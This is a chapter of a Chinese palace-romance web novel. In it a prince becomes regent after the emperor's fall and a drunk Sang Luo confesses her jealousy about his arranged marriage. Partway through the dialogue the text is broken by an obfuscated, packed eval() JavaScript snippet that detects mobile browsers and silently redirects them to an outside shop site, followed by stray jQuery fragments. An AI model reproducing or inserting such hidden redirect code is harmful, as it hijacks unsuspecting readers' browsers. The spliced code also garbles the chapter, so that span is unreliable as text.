老皇帝出事,成为众人三缄其口的秘密。
原本好好的一个寿辰,却发生了这么大的意外,跟谁说出去都觉得难以置信。
几十级台阶,一级都没有放过,一溜儿滚了下来,连个缓冲的地带都没有。
但不得不说,老皇帝没当场驾崩,也是有些运气在身上的。
六皇子殿下是当时反应最快的那一个,立马使出轻功如腾云驾雾一般飞身上前,在最后那几级台阶上给老皇帝当了个肉垫,六皇子殿下断了根肋骨,老皇帝当场昏迷不醒。
事情闹成这样,谁还有闲心参加这倒霉催的寿宴?
大伙儿当机立断,立马手忙脚乱将云起国掰着手指头算最尊贵的两位伤者运回了皇宫医治,快马加鞭的,就差把马活活累死。
宫琰辰晚上就醒了,老皇帝却一直醒不过来。
整个儿御医院的御医有一个算一个的围在老皇帝身边,轮番把脉看诊,那腥臭腥臭的汤药跟不要钱似的往嘴里灌,连负责灌药的许公公都犯恶心,那老皇帝愣是没有被恶心醒的迹象。
六皇子殿下在寝宫门前长跪不起,自责难过,伤心得难以自恃。
他含泪垂首,重重将额头磕在石砖之上,口中喃喃地说着,要是他能再快一些就好了,或者说……若是当时,他能跟在父皇身侧一同登塔,那该有多好。
可惜世间没有后悔药,说这些都是没有用的,全白搭。
倒是老太傅哆嗦着看不下去了。
怎么说也是自己最中意的学生,看着他这么崩溃自责,怎能不上前劝慰几句?
结果人刚走到跟前,一句话都还没来得及说,就见小皇子身形一晃,“咣当”晕倒在了眼前。
这可把老太傅给吓坏了,他这一把年纪了,可不带这么碰瓷的。
好在御医都是现成的,搭脉一看下了结论,不是人为暴力导致的,而是伤心过度刺激太大晕倒了而已。
赶紧的吧,找人给送回玉棠宫,别在这里耗着了。
紧张的一夜过去了,第二天老皇帝依然没有醒的迹象。
宫琰辰休息了一夜,一大早起又跑到殿前跪着,这次他聪明了,还带着块小手帕擦眼泪,省得弄脏衣袍。
众臣叹了几口气,围在小皇子的身边,重复着老太傅说给他们的大道理——
“国不可一日无君,殿下虽伤心难过,还请履行皇子职责,代为监国。”
小皇子眼泪巴巴瞅着众臣,心不甘情不愿接下了监国的重任,在大家的簇拥下迈进了勤政殿的大门……
关于六皇子宫琰辰代为监国这事,其实也不是所有人都欢喜的。
就比如说……
昭岚公主她不干了。
堂堂一国公主,跟个疯女人似的,逮谁跟谁嚷嚷,说老皇帝摔倒得颇为蹊跷,必定不是意外,那高塔是宫琰辰找人建造的,怎么偏生老皇帝就在上面出了意外呢?
但是她嚷嚷归嚷嚷,谁也不爱搭理她。
本来嘛,老宫家的独苗就剩下这一枝,就单说监国这件事,虽然名不正,但绝对是合情合理的。
你一个外嫁的公主跟那里上蹿下跳,安的是哪门子的心?
众臣不理睬,昭岚公主为了拉拢支持者,挨家堵人门口诉说自己的理由,结果闹得是怨声载道,更没人愿意搭理她。
关于这件事吧,宫琰辰略有耳闻,但他倒是想的挺开。
甚至当着众人面大大方方的表示,若皇姐对他有所猜忌,随时可以去福寿塔探查,他光明磊落,无愧于心。
这可捅了篓子了。
昭岚公主一听立马从皇城司点了五百侍卫,对福寿塔上上下下进行了地毯式的搜寻,结果方圆五里内连地砖都掀了,除了几窝促织,什么证据都没找到。
根据谁主张谁举证的原则,昭岚这波输得挺没脸的。
气得当晚连夜回了南靖,临走还派人传话告诉宫琰辰说——我还会再回来的!
对此宫琰辰毫不意外,这日子能过就过,不能过就离,可问题是,你走就走,倒是把人一起带走啊,留下那个邢丹罗在宫里面恶心谁呢?
桑落是早就酒醒了,确切的说,是第二天早上就醒了。
小皇子被几个人抬回玉棠宫的时候,桑落迷瞪着眼,半醉半醒看着众人,一时间没闹明白他们到底在做些什么。
好像是抬进来个什么东西?
啧,太远了,看不清楚。
好不容易等人都走了,桑落趿拉上鞋子,从吃饭的桌子上慢慢挪了下来,晃晃悠悠凑到了跟前。
呦!居然是个大活人!
桑落嘿嘿一笑,这年头,送礼不送烟酒果篮,居然流行往皇子的房里塞人?
而且还是个男人!
趁没外人,她先替小皇子验验货,看这送来的人,质量如何。
胸肌……不错,腹肌……一块,两块,三块……数量也还行,再往下面……
“嘶!”
“大晚上的你鬼叫什么!我这可是正经验货!”
桑落不乐意了。
嘴巴撅得高高的,一双秀眉紧蹙在一起。
“姐姐,你这是往哪摸呢?”
宫琰辰翻身坐起,笑得一脸暧昧,伸手一把抓住桑落作乱的手,另一只手在上面惩罚性地弹了一下。
姐姐?
桑落的脑子显然还不大灵光,迟钝的仿若不是自己原装的一般。
“你是?”
“我是宫琰辰啊,姐姐。”
“宫琰辰?”桑落重复道。
委屈的情绪似是倾泻的洪水,一发不可收拾,“你怎么才来啊!”
桑落皱着醉成酡红色的小脸,布满雾气的双眸里是拦截不住的清泪,宫琰辰感受到一双绵软的秀拳节奏细密地砸在自己的胸口处,一下一下的,不疼,却让人无端想起了渴求着被关注,期冀被毫无底线的纵容的骄矜的小猫。
宫琰辰无奈地笑了。
他从袖袋里面掏出一方锦帕,就着湿润的泪水将桑落脸上的仿妆擦拭干净,显露出那张明艳绝美的脸庞。
“原是有些事耽搁了,姐姐一直在等我吗?”
桑落摇了摇头,突觉不对,又用力点了点头。
“我、我在等你回来。”
“哦?姐姐等我,可是有事情要对我说?”
谆谆善诱地声音在耳边响起,如同海妖般蛊惑人心,让人在毫不知情的状态下被引入歧途,献祭上自己隐藏最深的秘密。
“对,我有事想对你说。”丝毫没有察觉到落入陷阱的桑落一本正经顺着宫琰辰的话继续说下去。
“好,姐姐想说什么都可以,我都听着。”
“我、我想说……”被酒精麻痹大脑的桑落一时想不清楚自己到底要说些什么,只得有些迷茫地看着眼前之人。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493343|130400||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“姐姐可是在意,我被赐婚之事?”
宫琰辰见状,继续诱导着桑落,想要知道她心底的真实想法。
“是,我在意这件事,我不喜欢,我不愿意你成亲,所以……”桑落委屈地抓紧宫琰辰胸口处的衣襟,“你不要娶她好不好?”
宫琰辰唇边的笑意更盛,却强硬地装出一副为难的样子,语气踌躇着说道:“可是父皇圣旨已下,怕是后悔也来不及了。”
“呜呜呜……怎么会这样啊?”桑落闻言,哭得更来劲了,凝结而出的眼泪像是不要钱似的往外流,“好不容易养大的臭崽子,才一天而已,就被别人家的白菜给勾搭走了!”
宫琰辰哭笑不得,怎么人都醉成这样了还不忘损他几句?可见平日里没少在心底暗戳戳地说他坏话。
“你知不知道?当我听到你要和别人成亲的时候,这里,还有这里,酸酸的,还有些疼,就好像……有人在拿针扎它一样,好难受啊……难受得像要死掉一样。”桑落指点着自己的心口的位置,告状一般继续吐槽着,说完还双手捂着那里揉了揉,接着语气一转,凶巴巴地继续说下去,“你肯定不知道!”
“你个白眼狼,心里指不定多高兴呢,人长大了马上就要娶媳妇儿了,哪里还会想着我这个一把屎一把尿把你喂大的……不对,是一把尿一把屎……也不对!哎呀!你说!你到底是先吃屎还是先喝尿了啊?”
小皇子沉默无语地看着桑落陷入了狂暴的状态。
“……其实这件事并非没有回旋的余地,只是需要姐姐配合我,才有可能解此困境。”不忍心看着桑落继续虐杀自己的头发,宫琰辰只得开口安抚道。
“配合?我还能有什么办法配合你啊?”
“父皇只是希望我能够早点成亲而已,至于娶得是谁,倒是无所谓的,不如……姐姐做我的新娘,与我成亲可好?”
时间如静止了一般,安静的空间里只剩下彼此的心跳,宫琰辰一瞬不瞬地看着桑落,想要将每一个细微的表情都尽收眼底,然而……
“不行!绝对不行!”桑落情绪激动的反驳道。
“为何不可?”眼底的阴鸷一点点凝结,那浓郁地仿佛化作实体一般的偏执和占有欲,如猎网般将桑落笼罩在其中。
叫人胆战心惊。
偏生喝醉酒的人不仅脑子不灵光,眼神也不大好使,桑落像是看不见似的,继续触碰着小皇子的底线。
“你是我养大的啊,在我心里,你就跟我自己的崽子差不多,不,应该是一模一样。”桑落揉了揉自己微微发痒的鼻尖,长长呼出一口气,终于想通了什么似的,释然道:“算了,孩子大了,翅膀硬了,总要离开父母身边的。”
说着,抓起宫琰辰的两只手合在一起,四手交叠,桑落无比真诚地看着小皇子说道:“你要娶她,那便娶吧,你想做什么姐姐都是无条件支持你的。”
“我……”
“嘘!你不用说了,我都懂,过去的事就让它过去吧,从今往后,咱们三把日子过好,比什么都重要。”
交代完,桑落向前一倒,彻底醉得不省人事。
怀中抱着桑落温热的身体,宫琰辰微薄的双唇划过白皙的侧脸,带起心底的一丝战栗,他目光柔和地看着那发完酒疯呼呼大睡之人。
由衷的觉得——
或许,这玉棠宫里常备着些果酒,也是个不错的选择……